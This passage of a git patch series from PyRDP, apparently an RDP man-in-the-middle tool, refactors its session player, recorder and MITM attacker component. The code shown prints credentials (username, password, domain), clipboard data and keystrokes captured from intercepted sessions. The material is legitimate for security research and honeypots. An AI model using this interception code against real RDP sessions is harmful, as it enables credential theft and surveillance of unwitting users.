pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet, TwistedPlayerLayerSet from pyrdp.player.QTimerSequencer import QTimerSequencer from pyrdp.player.Replay import Replay From bd4a15a669ddd9f24c29984ba8883ac53ff02579 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 10 Apr 2019 17:15:26 -0400 Subject: [PATCH 063/113] Small refactor of the player event handler --- pyrdp/player/PlayerEventHandler.py | 238 ++++++++++++++++------------- 1 file changed, 131 insertions(+), 107 deletions(-) diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index 8f65d1e0e..2ff33124e 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -15,8 +15,8 @@ from pyrdp.logging import log from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, \ FastPathOutputParser, SlowPathParser -from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ - FastPathOutputEvent, FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, \ +from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOutputEvent, \ + FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, \ MouseEvent, PlayerPDU, UpdatePDU from pyrdp.player import keyboard from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage @@ -24,7 +24,7 @@ class PlayerEventHandler(PlayerObserver): """ - Class to manage the display of the RDP player when reading events. + Class to handle events coming to the player. """ def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): @@ -33,123 +33,79 @@ def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): self.text = text self.shiftPressed = False self.capsLockOn = False - self.writeInCaps = False - - self.inputParser = BasicFastPathParser(ParserMode.SERVER) - self.outputParser = BasicFastPathParser(ParserMode.CLIENT) - self.clientInfoParser = ClientInfoParser() - self.dataParser = SlowPathParser() - self.clipboardParser = ClipboardParser() - self.outputEventParser = FastPathOutputParser() - self.clientConnectionParser = ClientConnectionParser() - self.buffer = b"" - def onPDUReceived(self, pdu: PlayerPDU): - parentMethod = super().onPDUReceived - self.viewer.mainThreadHook.emit(lambda: parentMethod(pdu)) - def onConnectionClose(self, pdu: PlayerPDU): + def writeText(self, text: str): self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n") + self.text.insertPlainText(text) - def onOutput(self, pdu: PlayerPDU): - pdu = self.outputParser.parse(pdu.payload) + def writeSeparator(self): + self.writeText("--------------------\n") - for event in pdu.events: - reassembledEvent = self.reassembleEvent(event) - if reassembledEvent is not None: - if isinstance(reassembledEvent, FastPathOrdersEvent): - log.debug("Not handling orders event, not coded :)") - elif isinstance(reassembledEvent, FastPathBitmapEvent): - log.debug("Handling bitmap event %(arg1)s", {"arg1": type(reassembledEvent)}) - self.onBitmap(reassembledEvent) - else: - log.debug("Can't handle output event: %(arg1)s", {"arg1": type(reassembledEvent)}) - else: - log.debug("Reassembling output event...") - - def onInput(self, pdu: PlayerPDU): - pdu = self.inputParser.parse(pdu.payload) - for event in pdu.events: - if isinstance(event, FastPathScanCodeEvent): - log.debug("handling %(arg1)s", {"arg1": event}) - self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) - elif isinstance(event, FastPathUnicodeEvent): - if not event.released: - self.onUnicode(event) - elif isinstance(event, FastPathMouseEvent): - self.onMouse(event) - else: - log.debug("Can't handle input event: %(arg1)s", {"arg1": event}) + def onPDUReceived(self, pdu: PlayerPDU): + log.debug("Received %(pdu)s", {"pdu": pdu}) + parentMethod = super().onPDUReceived + self.viewer.mainThreadHook.emit(lambda: parentMethod(pdu)) - def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + def onClientData(self, pdu: PlayerPDU): """ - Handle scan code. + Prints the clientName on the screen """ - log.debug("Reading scan code %(arg1)s", {"arg1": scanCode}) - keyName = keyboard.getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) + parser = ClientConnectionParser() + clientDataPDU = parser.parse(pdu.payload) + clientName = clientDataPDU.coreData.clientName.strip("\x00") - self.text.moveCursor(QTextCursor.End) + self.writeSeparator() + self.writeText(f"HOST: {clientName}\n") + self.writeSeparator() - if len(keyName) == 1: - if not isReleased: - self.text.insertPlainText(keyName) - else: - self.text.insertPlainText(f"\n<{keyName} {'released' if isReleased else 'pressed'}>") - self.text.moveCursor(QTextCursor.End) + def onClientInfo(self, pdu: PlayerPDU): + parser = ClientInfoParser() + clientInfoPDU = parser.parse(pdu.payload) - # Left or right shift - if scanCode in [0x2A, 0x36]: - self.text.moveCursor(QTextCursor.End) - self.shiftPressed = not isReleased + self.writeSeparator() - # Caps lock - elif scanCode == 0x3A and not isReleased: - self.text.moveCursor(QTextCursor.End) - self.capsLockOn = not self.capsLockOn + self.writeText("USERNAME: {}\nPASSWORD: {}\nDOMAIN: {}\n".format( + clientInfoPDU.username.replace("\x00", ""), + clientInfoPDU.password.replace("\x00", ""), + clientInfoPDU.domain.replace("\x00", "") + )) + self.writeSeparator() - def onUnicode(self, event: FastPathUnicodeEvent): - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText(str(event.text)) - def onMouse(self, event: FastPathMouseEvent): - self.onMousePosition(event.mouseX, event.mouseY) + def onConnectionClose(self, pdu: PlayerPDU): + self.writeText("\n") - def onMousePosition(self, x: int, y: int): - self.viewer.setMousePosition(x, y) - def onBitmap(self, event: FastPathBitmapEvent): - parsedEvent = self.outputEventParser.parseBitmapEvent(event) - for bitmapData in parsedEvent.bitmapUpdateData: - self.handleBitmap(bitmapData) + def onClipboardData(self, pdu: PlayerPDU): + parser = ClipboardParser() + pdu = parser.parse(pdu.payload) - def handleBitmap(self, bitmapData: BitmapUpdateData): - image = RDPBitmapToQtImage(bitmapData.width, bitmapData.heigth, bitmapData.bitsPerPixel, bitmapData.flags & BitmapFlags.BITMAP_COMPRESSION != 0, bitmapData.bitmapData) - self.viewer.notifyImage(bitmapData.destLeft, bitmapData.destTop, image, - bitmapData.destRight - bitmapData.destLeft + 1, - bitmapData.destBottom - bitmapData.destTop + 1) + if not isinstance(pdu, FormatDataResponsePDU): + return + + clipboardData = decodeUTF16LE(pdu.requestedFormatData) + + self.writeSeparator() + self.writeText(f"CLIPBOARD DATA: {clipboardData}") + self.writeSeparator() - def onClientInfo(self, pdu: PlayerPDU): - clientInfoPDU = self.clientInfoParser.parse(pdu.payload) - self.text.insertPlainText("USERNAME: {}\nPASSWORD: {}\nDOMAIN: {}\n" - .format(clientInfoPDU.username.replace("\0", ""), - clientInfoPDU.password.replace("\0", ""), - clientInfoPDU.domain.replace("\0", ""))) - self.text.insertPlainText("--------------------\n") def onSlowPathPDU(self, pdu: PlayerPDU): - pdu = self.dataParser.parse(pdu.payload) + parser = SlowPathParser() + pdu = parser.parse(pdu.payload) if isinstance(pdu, ConfirmActivePDU): - self.viewer.resize(pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP].desktopWidth, - pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP].desktopHeight) + bitmapCapability = pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP] + self.viewer.resize(bitmapCapability.desktopWidth, bitmapCapability.desktopHeight) elif isinstance(pdu, UpdatePDU) and pdu.updateType == SlowPathUpdateType.SLOWPATH_UPDATETYPE_BITMAP: updates = BitmapParser().parseBitmapUpdateData(pdu.updateData) + for bitmap in updates: self.handleBitmap(bitmap) elif isinstance(pdu, InputPDU): @@ -159,21 +115,17 @@ def onSlowPathPDU(self, pdu: PlayerPDU): elif isinstance(event, KeyboardEvent): self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) - def onClipboardData(self, pdu: PlayerPDU): - formatDataResponsePDU: FormatDataResponsePDU = self.clipboardParser.parse(pdu.payload) - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n=============\n") - self.text.insertPlainText("CLIPBOARD DATA: {}".format(decodeUTF16LE(formatDataResponsePDU.requestedFormatData))) - self.text.insertPlainText("\n=============\n") - def onClientData(self, pdu: PlayerPDU): - """ - Prints the clientName on the screen - """ - clientDataPDU = self.clientConnectionParser.parse(pdu.payload) - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("--------------------\n") - self.text.insertPlainText(f"HOST: {clientDataPDU.coreData.clientName.strip(chr(0))}\n") + def onOutput(self, pdu: PlayerPDU): + parser = BasicFastPathParser(ParserMode.CLIENT) + pdu = parser.parse(pdu.payload) + + for event in pdu.events: + reassembledEvent = self.reassembleEvent(event) + + if reassembledEvent is not None: + if isinstance(reassembledEvent, FastPathBitmapEvent): + self.onFastPathBitmap(reassembledEvent) def reassembleEvent(self, event: FastPathOutputEvent) -> Optional[Union[FastPathBitmapEvent, FastPathOutputEvent]]: """ @@ -181,9 +133,10 @@ def reassembleEvent(self, event: FastPathOutputEvent) -> Optional[Union[FastPath https://msdn.microsoft.com/en-us/library/cc240622.aspx :param event: A potentially segmented fastpath output event :return: a FastPathBitmapEvent if a complete PDU has been reassembled, otherwise None. If the event is not - fragmented, returns the original event. + fragmented, it is returned as is. """ fragmentationFlag = FastPathFragmentation((event.header & 0b00110000) >> 4) + if fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_SINGLE: return event elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_FIRST: @@ -193,6 +146,77 @@ def reassembleEvent(self, event: FastPathOutputEvent) -> Optional[Union[FastPath elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_LAST: self.buffer += event.payload event.payload = self.buffer - return self.outputEventParser.parseBitmapEvent(event) + + return FastPathOutputParser().parseBitmapEvent(event) return None + + def onFastPathBitmap(self, event: FastPathBitmapEvent): + parser = FastPathOutputParser() + parsedEvent = parser.parseBitmapEvent(event) + + for bitmapData in parsedEvent.bitmapUpdateData: + self.handleBitmap(bitmapData) + + + def onInput(self, pdu: PlayerPDU): + parser = BasicFastPathParser(ParserMode.SERVER) + pdu = parser.parse(pdu.payload) + + for event in pdu.events: + if isinstance(event, FastPathUnicodeEvent): + if not event.released: + self.onUnicode(event) + elif isinstance(event, FastPathMouseEvent): + self.onMouse(event) + elif isinstance(event, FastPathScanCodeEvent): + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + + + def onUnicode(self, event: FastPathUnicodeEvent): + self.writeText(str(event.text)) + + + def onMouse(self, event: FastPathMouseEvent): + self.onMousePosition(event.mouseX, event.mouseY) + + def onMousePosition(self, x: int, y: int): + self.viewer.setMousePosition(x, y) + + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = keyboard.getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) + + if len(keyName) == 1: + if not isReleased: + self.writeText(keyName) + else: + self.writeText(f"\n<{keyName} {'released' if isReleased else 'pressed'}>") + + # Left or right shift + if scanCode in [0x2A, 0x36]: + self.shiftPressed = not isReleased + + # Caps lock + elif scanCode == 0x3A and not isReleased: + self.capsLockOn = not self.capsLockOn + + + def handleBitmap(self, bitmapData: BitmapUpdateData): + image = RDPBitmapToQtImage( + bitmapData.width, + bitmapData.heigth, + bitmapData.bitsPerPixel, + bitmapData.flags & BitmapFlags.BITMAP_COMPRESSION != 0, + bitmapData.bitmapData + ) + + self.viewer.notifyImage( + bitmapData.destLeft, + bitmapData.destTop, + image, + bitmapData.destRight - bitmapData.destLeft + 1, + bitmapData.destBottom - bitmapData.destTop + 1) From fb69ab5e72bbca40d66df18cc39e55e24461d6aa Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:18:43 -0400 Subject: [PATCH 064/113] Remove PlayerObserver --- pyrdp/layer/__init__.py | 2 +- pyrdp/layer/player.py | 37 +----------------------------- pyrdp/player/PlayerEventHandler.py | 34 +++++++++++++++++++-------- 3 files changed, 26 insertions(+), 47 deletions(-) diff --git a/pyrdp/layer/__init__.py b/pyrdp/layer/__init__.py index 6daa34f82..4745fe2b0 100644 --- a/pyrdp/layer/__init__.py +++ b/pyrdp/layer/__init__.py @@ -8,7 +8,7 @@ from pyrdp.layer.layer import IntermediateLayer, Layer, LayerChainItem, LayerObserver, LayerRoutedObserver, \ LayerStrictRoutedObserver from pyrdp.layer.mcs import MCSLayer, MCSObserver -from pyrdp.layer.player import PlayerLayer, PlayerObserver +from pyrdp.layer.player import PlayerLayer from pyrdp.layer.raw import RawLayer from pyrdp.layer.rdp.fastpath import FastPathLayer, FastPathObserver from pyrdp.layer.rdp.security import SecurityLayer, SecurityObserver, TLSSecurityLayer diff --git a/pyrdp/layer/player.py b/pyrdp/layer/player.py index b423bcb69..e19469bd2 100644 --- a/pyrdp/layer/player.py +++ b/pyrdp/layer/player.py @@ -3,6 +3,7 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # + import time from pyrdp.core import ObservedBy @@ -11,42 +12,6 @@ from pyrdp.parser import PlayerParser from pyrdp.pdu import PlayerPDU - -class PlayerObserver(LayerRoutedObserver): - def __init__(self, **kwargs): - LayerRoutedObserver.__init__(self, { - PlayerPDUType.CONNECTION_CLOSE: "onConnectionClose", - PlayerPDUType.CLIENT_INFO: "onClientInfo", - PlayerPDUType.SLOW_PATH_PDU: "onSlowPathPDU", - PlayerPDUType.FAST_PATH_INPUT: "onInput", - PlayerPDUType.FAST_PATH_OUTPUT: "onOutput", - PlayerPDUType.CLIPBOARD_DATA: "onClipboardData", - PlayerPDUType.CLIENT_DATA: "onClientData" - }, **kwargs) - - def onConnectionClose(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onClientInfo(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onSlowPathPDU(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onInput(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onOutput(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onClipboardData(self, pdu: PlayerPDU): - raise NotImplementedError() - - def onClientData(self, pdu: PlayerPDU): - raise NotImplementedError() - - -@ObservedBy(PlayerObserver) class PlayerLayer(BufferedLayer): """ Layer to manage the encapsulation of Player metadata such as event timestamp and diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index 2ff33124e..08ff99d77 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -9,9 +9,9 @@ from PySide2.QtGui import QTextCursor from PySide2.QtWidgets import QTextEdit -from pyrdp.core import decodeUTF16LE -from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, SlowPathUpdateType -from pyrdp.layer import PlayerObserver +from pyrdp.core import decodeUTF16LE, Observer +from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, PlayerPDUType, \ + SlowPathUpdateType from pyrdp.logging import log from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, \ FastPathOutputParser, SlowPathParser @@ -22,7 +22,7 @@ from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage -class PlayerEventHandler(PlayerObserver): +class PlayerEventHandler(Observer): """ Class to handle events coming to the player. """ @@ -34,6 +34,15 @@ def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): self.shiftPressed = False self.capsLockOn = False self.buffer = b"" + self.handlers = { + PlayerPDUType.CLIENT_DATA: self.onClientData, + PlayerPDUType.CLIENT_INFO: self.onClientInfo, + PlayerPDUType.CONNECTION_CLOSE: self.onConnectionClose, + PlayerPDUType.CLIPBOARD_DATA: self.onClipboardData, + PlayerPDUType.SLOW_PATH_PDU: self.onSlowPathPDU, + PlayerPDUType.FAST_PATH_OUTPUT: self.onFastPathOutput, + PlayerPDUType.FAST_PATH_INPUT: self.onFastPathInput, + } def writeText(self, text: str): @@ -44,10 +53,15 @@ def writeSeparator(self): self.writeText("--------------------\n") - def onPDUReceived(self, pdu: PlayerPDU): + def onPDUReceived(self, pdu: PlayerPDU, isMainThread = False): + if not isMainThread: + self.viewer.mainThreadHook.emit(lambda: self.onPDUReceived(pdu, True)) + return + log.debug("Received %(pdu)s", {"pdu": pdu}) - parentMethod = super().onPDUReceived - self.viewer.mainThreadHook.emit(lambda: parentMethod(pdu)) + + if pdu.header in self.handlers: + self.handlers[pdu.header](pdu) def onClientData(self, pdu: PlayerPDU): @@ -78,7 +92,7 @@ def onClientInfo(self, pdu: PlayerPDU): self.writeSeparator() - def onConnectionClose(self, pdu: PlayerPDU): + def onConnectionClose(self, _: PlayerPDU): self.writeText("\n") @@ -116,7 +130,7 @@ def onSlowPathPDU(self, pdu: PlayerPDU): self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) - def onOutput(self, pdu: PlayerPDU): + def onFastPathOutput(self, pdu: PlayerPDU): parser = BasicFastPathParser(ParserMode.CLIENT) pdu = parser.parse(pdu.payload) @@ -159,7 +173,7 @@ def onFastPathBitmap(self, event: FastPathBitmapEvent): self.handleBitmap(bitmapData) - def onInput(self, pdu: PlayerPDU): + def onFastPathInput(self, pdu: PlayerPDU): parser = BasicFastPathParser(ParserMode.SERVER) pdu = parser.parse(pdu.payload) From e11a281ef8b742c933d4e9f5327447a48078a24f Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:32:39 -0400 Subject: [PATCH 065/113] Add missing handlers in player parser --- pyrdp/parser/player.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index cc9ddf690..9d27661ea 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -19,6 +19,7 @@ def __init__(self): PlayerPDUType.TEXT: self.parseText, PlayerPDUType.FORWARDING_STATE: self.parseForwardingState, PlayerPDUType.BITMAP: self.parseBitmap, + PlayerPDUType.DEVICE_MAPPING: self.parseDeviceMapping, } self.writers = { @@ -29,6 +30,7 @@ def __init__(self): PlayerPDUType.TEXT: self.writeText, PlayerPDUType.FORWARDING_STATE: self.writeForwardingState, PlayerPDUType.BITMAP: self.writeBitmap, + PlayerPDUType.DEVICE_MAPPING: self.writeDeviceMapping, } From 9be7849c3d787013bcd4d5b41c7cf062bac3c2a5 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:41:14 -0400 Subject: [PATCH 066/113] Handle recording 'normal' player PDUs --- pyrdp/recording/recorder.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index e97557831..5cc225555 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -54,6 +54,12 @@ def record(self, pdu: Optional[PDU], messageType: PlayerPDUType): """ Encapsulate the pdu properly, then record the data """ + if messageType not in self.parsers: + for layer in self.topLayers: + layer.sendPDU(pdu) + + return + if pdu: data = self.parsers[messageType].write(pdu) else: From 8a3e9b5d315d1e61558251df993dbb4d3c6066bb Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:51:34 -0400 Subject: [PATCH 067/113] Refactor recorder time stamp method --- pyrdp/recording/recorder.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index 5cc225555..744bb7c88 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -4,7 +4,6 @@ # Licensed under the GPLv3 or later. # -import time from pathlib import Path from typing import Dict, List, Optional, Union @@ -65,13 +64,13 @@ def record(self, pdu: Optional[PDU], messageType: PlayerPDUType): else: data = b"" - timeStamp = int(round(self.getCurrentTimeStamp() * 1000)) + timeStamp = self.getCurrentTimeStamp() for layer in self.topLayers: layer.sendMessage(data, messageType, timeStamp) - def getCurrentTimeStamp(self) -> float: - return time.time() + def getCurrentTimeStamp(self) -> int: + return PlayerLayer().getCurrentTimeStamp() class FileLayer(LayerChainItem): From 93fef28b69fa8a0e757af7bea768e3588127c690 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:53:38 -0400 Subject: [PATCH 068/113] Add class for player connection close events --- pyrdp/mitm/TCPMITM.py | 12 ++++++++---- pyrdp/parser/player.py | 14 ++++++++++++-- pyrdp/pdu/__init__.py | 5 +++-- pyrdp/pdu/player.py | 5 +++++ 4 files changed, 28 insertions(+), 8 deletions(-) diff --git a/pyrdp/mitm/TCPMITM.py b/pyrdp/mitm/TCPMITM.py index e5580429f..7feaac52b 100644 --- a/pyrdp/mitm/TCPMITM.py +++ b/pyrdp/mitm/TCPMITM.py @@ -7,9 +7,9 @@ from logging import LoggerAdapter from typing import Coroutine -from pyrdp.enum import PlayerPDUType from pyrdp.layer import TwistedTCPLayer from pyrdp.mitm.state import RDPMITMState +from pyrdp.pdu.player import PlayerConnectionClosePDU from pyrdp.recording import Recorder @@ -72,7 +72,7 @@ def onClientDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerPDUType.CONNECTION_CLOSE) + self.recordConnectionClose() self.log.info("Client connection closed. %(reason)s", {"reason": reason.value}) self.serverConnector.close() self.server.disconnect(True) @@ -93,7 +93,7 @@ def onServerDisconnection(self, reason): :param reason: reason for disconnection """ - self.recorder.record(None, PlayerPDUType.CONNECTION_CLOSE) + self.recordConnectionClose() self.log.info("Server connection closed. %(reason)s", {"reason": reason.value}) self.client.disconnect(True) @@ -113,4 +113,8 @@ def onAttackerDisconnection(self, reason): """ self.state.forwardInput = True self.state.forwardOutput = True - self.log.info("Attacker connection closed. %(reason)s", {"reason": reason.value}) \ No newline at end of file + self.log.info("Attacker connection closed. %(reason)s", {"reason": reason.value}) + + def recordConnectionClose(self): + pdu = PlayerConnectionClosePDU(self.recorder.getCurrentTimeStamp()) + self.recorder.record(pdu, pdu.header) \ No newline at end of file diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 9d27661ea..142a0bceb 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -3,8 +3,9 @@ from pyrdp.core import Int16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 from pyrdp.enum import DeviceType, MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerDeviceMappingPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ - PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -12,6 +13,7 @@ def __init__(self): super().__init__() self.parsers = { + PlayerPDUType.CONNECTION_CLOSE: self.parseConnectionClose, PlayerPDUType.MOUSE_MOVE: self.parseMouseMove, PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, @@ -23,6 +25,7 @@ def __init__(self): } self.writers = { + PlayerPDUType.CONNECTION_CLOSE: self.writeConnectionClose, PlayerPDUType.MOUSE_MOVE: self.writeMouseMove, PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton, PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, @@ -76,6 +79,13 @@ def write(self, pdu: PlayerPDU) -> bytes: return stream.getvalue() + def parseConnectionClose(self, stream: BytesIO, timestamp: int) -> PlayerConnectionClosePDU: + return PlayerConnectionClosePDU(timestamp) + + def writeConnectionClose(self, pdu: PlayerConnectionClosePDU, stream: BytesIO): + pass + + def parseMousePosition(self, stream: BytesIO) -> (int, int): x = Uint16LE.unpack(stream) y = Uint16LE.unpack(stream) diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index d0251976f..ea9aedee0 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,8 +9,9 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerDeviceMappingPDU, PlayerForwardingStatePDU, \ - PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index b22124ead..96d2a59ba 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -21,6 +21,11 @@ def __init__(self, header: PlayerPDUType, timestamp: int, payload: bytes): PDU.__init__(self, payload) +class PlayerConnectionClosePDU(PlayerPDU): + def __init__(self, timestamp: int): + super().__init__(PlayerPDUType.CONNECTION_CLOSE, timestamp, b"") + + class PlayerMouseMovePDU(PlayerPDU): """ PDU definition for mouse move events coming from the player. From 360dac145b99bfeea1063086e11fa6f4008b25e8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:54:17 -0400 Subject: [PATCH 069/113] Don't create an attacker component if not connected --- pyrdp/mitm/mitm.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index ad9880da4..9f9e7b2e6 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -235,13 +235,15 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state) - self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) - if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap: - deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] + if self.player.tcp.transport: + self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) - if deviceRedirectionChannel in self.channelMITMs: - self.channelMITMs[deviceRedirectionChannel].addObserver(self.attacker) + if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap: + deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] + + if deviceRedirectionChannel in self.channelMITMs: + self.channelMITMs[deviceRedirectionChannel].addObserver(self.attacker) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) From c7ba7dfe1edb876ffbf00fca8a9868b1c4a6a128 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 11:54:35 -0400 Subject: [PATCH 070/113] Record device mapping events instead of sending them directly --- pyrdp/mitm/AttackerMITM.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 6a33cc41c..c771b72f6 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -168,4 +168,4 @@ def onDeviceAnnounce(self, device: DeviceAnnounce): name = name[: endPosition] pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, name.decode()) - self.attacker.sendPDU(pdu) \ No newline at end of file + self.recorder.record(pdu, pdu.header) \ No newline at end of file From 5da26ef2a19616aeb05da2047b9993defa5f536a Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 12:01:32 -0400 Subject: [PATCH 071/113] Log device mappings in the text box --- pyrdp/player/PlayerEventHandler.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index 08ff99d77..8b8b06fee 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -10,14 +10,14 @@ from PySide2.QtWidgets import QTextEdit from pyrdp.core import decodeUTF16LE, Observer -from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, PlayerPDUType, \ - SlowPathUpdateType +from pyrdp.enum import BitmapFlags, CapabilityType, DeviceType, FastPathFragmentation, KeyboardFlag, ParserMode, \ 